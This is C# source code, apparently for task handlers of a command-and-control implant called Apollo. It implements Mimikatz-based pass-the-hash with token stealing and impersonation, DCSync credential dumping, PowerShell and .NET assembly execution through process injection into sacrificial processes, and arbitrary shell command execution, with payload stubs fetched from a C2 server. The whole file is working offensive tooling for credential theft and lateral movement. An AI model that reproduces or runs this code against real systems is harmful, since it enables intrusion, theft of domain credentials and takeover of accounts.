public static void PassTheHash(Job job, Agent implant) { Task task = job.Task; PassTheHashParameters taskParams; string sacrificialApplication; string commandLine = ""; string command = "\"sekurlsa::pth /user:{0} /domain:{1} /ntlm:{2} /run:{3}\""; string loaderStubID; string pipeName; int pidOfPTHProccess = -1; JObject json; List <string> output = new List <string>(); MythicCredential cred; try { taskParams = JsonConvert.DeserializeObject <PassTheHashParameters>(job.Task.parameters); } catch (Exception ex) { job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"); return; } cred = taskParams.credential; if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential)) { job.SetError("Username and password are required for pth."); return; } if (cred.credential_type != "hash") { job.SetError($"pth built-in can only be used with hash-type (e.g., RC4 or NTLM) credentials, and was given credentials of type {cred.credential_type}"); return; } string userFQDN = cred.account; if (string.IsNullOrEmpty(cred.realm)) { job.SetError("pth requires a valid realm or domain to be set."); return; } command = string.Format(command, new object[] { cred.account, cred.realm, cred.credential, taskParams.program }); byte[] loaderStub; /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, taskParams.loader_stub_id, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", taskParams.loader_stub_id)); return; } pipeName = taskParams.pipe_name; if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { if (line.Contains(" PID ")) { string[] parts = line.Trim().Split(' '); if (parts.Length != 5) { job.SetError($"No PID could be enumerated from the line: {line}"); break; } else { if (!int.TryParse(parts[4].Trim(), out pidOfPTHProccess)) { job.SetError($"Failed to parse PID from: {parts[1].Trim()}"); break; } } } output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { job.AddOutput(output.ToArray()); output.Clear(); } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } if (pidOfPTHProccess != -1) { IntPtr procHandle; IntPtr hStolenToken; try { procHandle = System.Diagnostics.Process.GetProcessById((int)Convert.ToInt32(pidOfPTHProccess)).Handle; } catch (Exception ex) { throw new Exception($"Failed to acquire handle to process {pidOfPTHProccess}. Reason: {ex.Message}"); } // Stores the handle for the original process token hStolenToken = IntPtr.Zero; // Stores the handle for our duplicated token // Get handle to target process token bool bRet = OpenProcessToken( procHandle, // ProcessHandle (uint)(TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query), // desiredAccess out IntPtr tokenHandle); // TokenHandle if (!bRet) { throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}"); //return; }// Check if OpenProcessToken was successful if (!CredentialManager.SetImpersonatedPrimaryToken(tokenHandle)) { throw new Exception($"Failed to set new primary token: {Marshal.GetLastWin32Error()}"); } // Duplicate token as stolenHandle bRet = DuplicateTokenEx( tokenHandle, // hExistingToken TokenAccessLevels.MaximumAllowed, /*.TOKEN_QUERY | TokenAccessRights.TOKEN_DUPLICATE | TokenAccessRights.TOKEN_ASSIGN_PRIMARY,*/ // dwDesiredAccess IntPtr.Zero, // lpTokenAttributes TokenImpersonationLevel.Impersonation, // ImpersonationLevel TOKEN_TYPE.TokenImpersonation, // TokenType out hStolenToken); // phNewToken // end testing if (!bRet) // Check if DuplicateTokenEx was successful { throw new Exception($"Failed to duplicate token handle: {Marshal.GetLastWin32Error()}"); } ////bRet = ImpersonateLoggedOnUser(tokenHandle); //if (!bRet) //{ // task.status = "error"; // task.message = $"Failed to impersonate logged on user: {Marshal.GetLastWin32Error()}"; //} //CloseHandle(tokenHandle); //CloseHandle(procHandle); if (!CredentialManager.SetImpersonatedImpersonationToken(hStolenToken)) { throw new Exception($"Failed to impersonate user. Reason: {Marshal.GetLastWin32Error()}"); } else { WindowsIdentity ident = new WindowsIdentity(hStolenToken); job.SetComplete($"\n\nSuccessfully impersonated {ident.Name}!"); ident.Dispose(); } } else { job.SetError("Failed to acquire PID of PTH process."); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in PTH (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in PTH. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
/// <summary> /// Execute an arbitrary C# assembly in a sacrificial process /// that respects the current caller's token. /// </summary> /// <param name="job"> /// Job associated with this task. job.Task.parameters /// should contain a JSON structure with key "assembly" that /// has an associated Apfell file ID to pull from the server. /// This assembly is position-independent code generated from /// donut with arguments baked in. /// </param> /// <param name="agent">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string command = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; try { json = (JObject)JsonConvert.DeserializeObject(task.parameters); } catch (Exception ex) { task.status = "error"; task.message = $"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"; return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); } catch (Exception ex) { task.status = "error"; task.message = $"Failed to fetch loader stub for PrintSpoofer. Reason: {ex.Message}.\nParameters:\n{task.parameters}"; return; } if (loaderStub == null || loaderStub.Length == 0) { job.Task.status = "error"; job.Task.message = String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID); return; } pipeName = json.Value <string>("pipe_name"); if (string.IsNullOrEmpty(pipeName)) { job.Task.status = "error"; job.Task.message = "No pipe name was given to DLL to start the named pipe server."; return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { // Technically we don't need the named pipe IO, but this class already has implemented what we need for // various token impersonation things, so why not. //if (implant.HasAlternateToken()) //{ // sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, true, false); //} //else if (implant.HasCredentials()) //{ // sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED, false, true); //} //else //{ // sacrificialProcess = new ProcessWithAnonymousPipeIO(sacrificialApplication, commandLine, Win32.Advapi32.ProcessCreationFlags.CREATE_SUSPENDED); //} // Deal with tokens later.... sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; //= new SCTaskResp(job.Task.id, false, String.Format("Sacrificial process spawned with PID: {0}", sacrificialProcess.PID), ""); //implant.TryPostResponse(response); ////byte[] tempBytes = File.ReadAllBytes("C:\\Users\\Public\\helloworldsc_noargs.bin"); if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); command = json.Value <string>("command"); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { job.AddOutput(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } job.SetComplete(); } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in PrintSpoofer (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in PrintSpoofer. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
public static void DCSync(Job job, Agent implant) { DCSyncParameters dcsParams; Task task = job.Task; string command; string sacrificialApplication; string commandLine = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); string formatCommand = "\"lsadump::dcsync /domain:{0} /user:{1}\""; dcsParams = JsonConvert.DeserializeObject <DCSyncParameters>(job.Task.parameters); if (string.IsNullOrEmpty(dcsParams.domain)) { job.SetError("Missing required parameter: domain"); return; } if (string.IsNullOrEmpty(dcsParams.user)) { job.SetError("Missing required parameter: user"); return; } if (dcsParams.domain.Split(' ').Length > 1) { job.SetError($"Invalid domain: {dcsParams.domain}"); return; } if (dcsParams.user.Split(' ').Length > 1) { job.SetError($"Invalid user: {dcsParams.user}"); return; } command = string.Format(formatCommand, dcsParams.domain, dcsParams.user); byte[] loaderStub; /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, dcsParams.loader_stub_id, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", dcsParams.loader_stub_id)); return; } pipeName = dcsParams.pipe_name; if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { //sacrificialProcess.CreateNewRemoteThread(tempBytes); //sacrificialProcess.ResumeThread(); // bool bRet = sacrificialProcess.StillActive(); NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { job.SetComplete(output.ToArray()); } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in DCSync (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in DCSync. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
public static void Execute(Job job, Agent agent) { Task task = job.Task; SpawnParameters args; byte[] templateFile; string sacrificialApplication; SacrificialProcess sacrificialProcess = null; try { args = JsonConvert.DeserializeObject <SpawnParameters>(task.parameters); } catch (Exception ex) { job.SetError(string.Format("Failed to deserialize arguments from {0}. Error: {1}", task.parameters, ex.Message)); return; } if (string.IsNullOrEmpty(args.template)) { job.SetError("No template passed given to inject."); return; } templateFile = agent.Profile.GetFile(job.Task.id, args.template, agent.Profile.ChunkSize); if (templateFile.Length == null || templateFile.Length == 0) { job.SetError($"Unable to retrieve template ID: {args.template}"); return; } var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; if (sacrificialProcess.Inject(templateFile)) { job.SetComplete(string.Format("Spawned {0} (PID: {1}) and successfully injected the specified payload template.", startupArgs.Application, sacrificialProcess.PID)); } else { job.SetError($"Failed to inject payload: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error spawning agent (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error spawning agent. Reason: {0}", ex.Message)); } } finally { if (job.Task.status == "error" && !sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
public static void ExecutePowerPick(AJ.Job job, Agent agent) { Task task = job.Task; string psCommand; string loadedScript = GetAllLoadedScripts(); string loaderStubID = ""; byte[] loaderStub = null; string pipeName; JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters); loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = agent.Profile.GetFile(task.id, loaderStubID, agent.Profile.ChunkSize); if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (pipeName == "") { job.SetError("No pipe name was given to connect to (server issue)."); return; } psCommand = json.Value <string>("powershell_params"); if (psCommand == "") { job.SetError("No parameters were given to execute."); return; } // Spawn new process // Inject into process // Send PowerShell to process // Receive output from PowerShell //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; string sacrificialApp; var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); sacrificialProcess.Exited += delegate(object sender, EventArgs e) { job.SetComplete(""); }; ApolloTaskResponse response; Mythic.Structs.AssemblyResponse asmResponse; if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; asmResponse = new Mythic.Structs.AssemblyResponse() { sacrificial_pid = (int)sacrificialProcess.PID, sacrificial_process_name = startupArgs.Application }; #region PowerPick Testing // setup redirection sacrificialProcess.OutputDataReceived = delegate(string data) { job.AddOutput(data); }; sacrificialProcess.ErrorDataReceived = delegate(string data) { job.AddOutput(data); }; #endregion if (sacrificialProcess.Inject(loaderStub)) { // Connect to initial named pipe and send job // Also sends along task ID to use as new named pipe name to read output // This prevents colliding with other jobs that might be running at the same time // ...hopefully NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new PowerShellJobMessageBinder(); bf.Serialize(pipeClient, new PowerShellJobMessage() { LoadedScript = loadedScript, Command = psCommand, ID = job.Task.id, }); try { var msg = (PowerShellTerminatedMessage)bf.Deserialize(pipeClient); #region old good code //List<string> output = new List<string>(); //using (StreamReader sr = new StreamReader(pipeClient)) //{ // //sr.ReadLine(); // while (!sr.EndOfStream) // { // var line = sr.ReadLine(); // if (output.Count > 4) // { // asmResponse.output = output.ToArray(); // response = new ApolloTaskResponse(job.Task.id, false, asmResponse, ""); // agent.TryPostResponse(task.id, response); // output.Clear(); // } // output.Add(line); // } // if (output.Count > 0) // { // asmResponse.output = output.ToArray(); // response = new ApolloTaskResponse(job.Task.id, false, asmResponse, ""); // agent.TryPostResponse(task.id, response); // output.Clear(); // } //} #endregion } catch (Exception e) { job.SetError(String.Format("Error while reading from stream: {0}", e.Message)); return; } } else { job.SetError($"Could not inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Could not start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception e) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in powerpick (PID: {0}). Reason: {1}", sacrificialProcess.PID, e.Message)); } else { job.SetError(String.Format("Error in powerpick. Reason: {0}", e.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
static void ExecuteAssembly(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string loaderStubID; string pipeName; string assemblyName; string[] assemblyArguments; byte[] assemblyBytes = null; //List<string> output = new List<string>(); /* * Response from the server should be of the form: * { * "assembly_name": "registered assembly name", * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "assembly_arguments": "command line arguments to send", * } */ SacrificialProcesses.SacrificialProcess sacrificialProcess = null; JObject json = (JObject)JsonConvert.DeserializeObject(task.parameters); assemblyName = json.Value <string>("assembly_name"); if (!loadedAssemblies.ContainsKey(assemblyName)) { job.SetError(String.Format("Assembly {0} has not been loaded. Please load the assembly with the 'register_assembly' command.", assemblyName)); return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve assembly loader shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (pipeName == "") { job.SetError("No pipe name was given to send the assembly to execute."); return; } assemblyArguments = SplitCommandLine(json.Value <string>("assembly_arguments")); assemblyBytes = GetAssembly(assemblyName); var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation(); try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true); ApolloTaskResponse artifactResp; if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; if (sacrificialProcess.Inject(loaderStub)) { NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); // Method 1 BinaryFormatter bf = new BinaryFormatter(); bf.Binder = new AssemblyJobMessageBinder(); bf.Serialize(pipeClient, new AssemblyJobMessage() { AssemblyBytes = assemblyBytes, Args = assemblyArguments, }); try { using (StreamReader sr = new StreamReader(pipeClient)) { //sr.ReadLine(); while (!sr.EndOfStream) { var line = sr.ReadLine(); if (line != null) { job.AddOutput(line); } } } } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); return; } job.SetComplete(""); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in execute-assembly (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in execute-assembly. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }
/// <summary> /// Run an arbitrary executable with command line arguments or /// run a shell command via cmd.exe /c. /// </summary> /// <param name="job"> /// Job associated with this task. If the task is "shell" then /// the application to launch will be cmd.exe with job.Task.parameters /// specifying the shell command to execute. Otherwise, the application /// to launch is given by the first space-delimited argument in /// job.Task.parameters. /// </param> /// <param name="implant">Agent associated with this job.Task.</param> public static void Execute(Job job, Agent implant) { SacrificialProcesses.SacrificialProcess sacrificialProcess = null; string applicationName; string commandLine = ""; // Probably can implement some argument spoofing stuff down the line string cmdString; ApolloTaskResponse response; string originalParams = job.Task.parameters.Trim(); string[] split = SplitCommandLine(job.Task.parameters.Trim()); //applicationName = split[0]; if (job.Task.command == "shell") { applicationName = "cmd.exe"; commandLine += String.Format("/c \"{0}\"", split[0]); } else { applicationName = split[0]; } if (split.Length > 1) { int firstIndex = originalParams.IndexOf(split[0]); string subsequentArgs = ""; switch (firstIndex) { case 0: subsequentArgs = originalParams.Substring(split[0].Length).Trim(); break; case 1: if (originalParams[0] == '"' && originalParams[split[0].Length + 1] != '"') { job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}"); return; } else if (originalParams[0] == '\'' && originalParams[split[0].Length + 1] != '\'') { job.SetError($"Command line is of unexpected format. Expected {split[0]} to be encapsulated in quotes in the original command, but got {originalParams}"); return; } else { subsequentArgs = originalParams.Substring(split[0].Length + 2).Trim(); } break; default: job.SetError($"Invalid command line format. Expected first command line argument to be program or program enclosed in quotes, but instead got {split[0]}"); return; } if (commandLine != "") { commandLine += String.Format(" {0}", subsequentArgs); } else { commandLine = subsequentArgs; } cmdString = String.Format("{0} {1}", applicationName, commandLine); } else if (commandLine != "") { cmdString = String.Format("{0} {1}", applicationName, commandLine); } else { cmdString = applicationName; } try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(applicationName, commandLine); sacrificialProcess.OutputDataReceived = delegate(string data) { job.AddOutput(data); }; sacrificialProcess.ErrorDataReceived = delegate(string data) { job.AddOutput(data); }; if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; sacrificialProcess.WaitForExit(); } else { job.SetError($"Failed to start sacrificial process. GetLastError(): {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in executing \"{0}\" (PID: {1}). Reason: {2}", cmdString, sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in executing \"{0}\". Reason: {1}", cmdString, ex.Message)); } } if (sacrificialProcess != null) { if (sacrificialProcess.ExitCode == 0 && sacrificialProcess.PID != 0) { job.SetComplete(String.Format("Process executed \"{0}\" with PID {1} and returned exit code {2}", cmdString, sacrificialProcess.PID, sacrificialProcess.ExitCode)); } else { job.SetError($"Unknown error. Exit code: {sacrificialProcess.ExitCode} from PID: {sacrificialProcess.PID}"); } } }
/// <summary> /// Execute an arbitrary C# assembly in a sacrificial process /// that respects the current caller's token. /// </summary> /// <param name="job"> /// Job associated with this task. job.Task.parameters /// should contain a JSON structure with key "assembly" that /// has an associated Apfell file ID to pull from the server. /// This assembly is position-independent code generated from /// donut with arguments baked in. /// </param> /// <param name="agent">Agent this task is run on.</param> public static void Execute(Job job, Agent implant) { Task task = job.Task; string sacrificialApplication; string commandLine = ""; string command = ""; string loaderStubID; string pipeName; JObject json; List <string> output = new List <string>(); /* * Response from the server should be of the form: * { * "loader_stub_id": "File ID of the loader stub", * "pipe_name": "named pipe to connect to", * "command": "command line arguments to send", * } */ //ProcessWithAnonymousPipeIO sacrificialProcess = null; SacrificialProcesses.SacrificialProcess sacrificialProcess = null; try { json = (JObject)JsonConvert.DeserializeObject(task.parameters); } catch (Exception ex) { job.SetError($"Error deserializing task parameters. Malformed JSON. System exception: {ex.Message}\n\nTask Parameters:\n{task.parameters}"); return; } command = json.Value <string>("command"); if (string.IsNullOrEmpty(command)) { job.SetError("Require one or more commands to give to Mimikatz."); return; } loaderStubID = json.Value <string>("loader_stub_id"); // Reset the loader stub each time as a new named pipe is given to us from on high. loaderStub = null; try { loaderStub = implant.Profile.GetFile(task.id, loaderStubID, implant.Profile.ChunkSize); } catch (Exception ex) { job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}"); return; } if (loaderStub == null || loaderStub.Length == 0) { job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", loaderStubID)); return; } pipeName = json.Value <string>("pipe_name"); if (string.IsNullOrEmpty(pipeName)) { job.SetError("No pipe name was given to DLL to start the named pipe server."); return; } if (implant.architecture == "x64") { sacrificialApplication = EvasionManager.SpawnTo64; } else { sacrificialApplication = EvasionManager.SpawnTo86; } try { sacrificialProcess = new SacrificialProcesses.SacrificialProcess(sacrificialApplication, commandLine, true); if (sacrificialProcess.Start()) { job.ProcessID = (int)sacrificialProcess.PID; job.sacrificialProcess = sacrificialProcess; ApolloTaskResponse response; if (sacrificialProcess.Inject(loaderStub)) { NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName); pipeClient.Connect(30000); StreamWriter writer; try { writer = new StreamWriter(pipeClient); writer.Write(command); writer.Flush(); using (StreamReader sr = new StreamReader(pipeClient)) { var line = sr.ReadLine(); while (line != null && line.ToUpper().Trim() != "EOF") { output.Add(line); line = sr.ReadLine(); } } if (pipeClient.IsConnected) { writer.Close(); } if (output.Count > 0) { response = new ApolloTaskResponse(job.Task, output.ToArray()); var credResp = GetCredentialResponse(job.Task, command, output); job.AddOutput(response); if (credResp.credentials != null && credResp.credentials.Length > 0) { job.AddOutput(credResp); } output.Clear(); } job.SetComplete(""); } catch (Exception ex) { job.SetError(String.Format("Error while reading from stream: {0}", ex.Message)); } } else { job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } else { job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}"); } } catch (Exception ex) { if (sacrificialProcess != null) { job.SetError(String.Format("Error in Mimikatz (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message)); } else { job.SetError(String.Format("Error in Mimikatz. Reason: {0}", ex.Message)); } } finally { if (!sacrificialProcess.HasExited) { sacrificialProcess.Kill(); } } }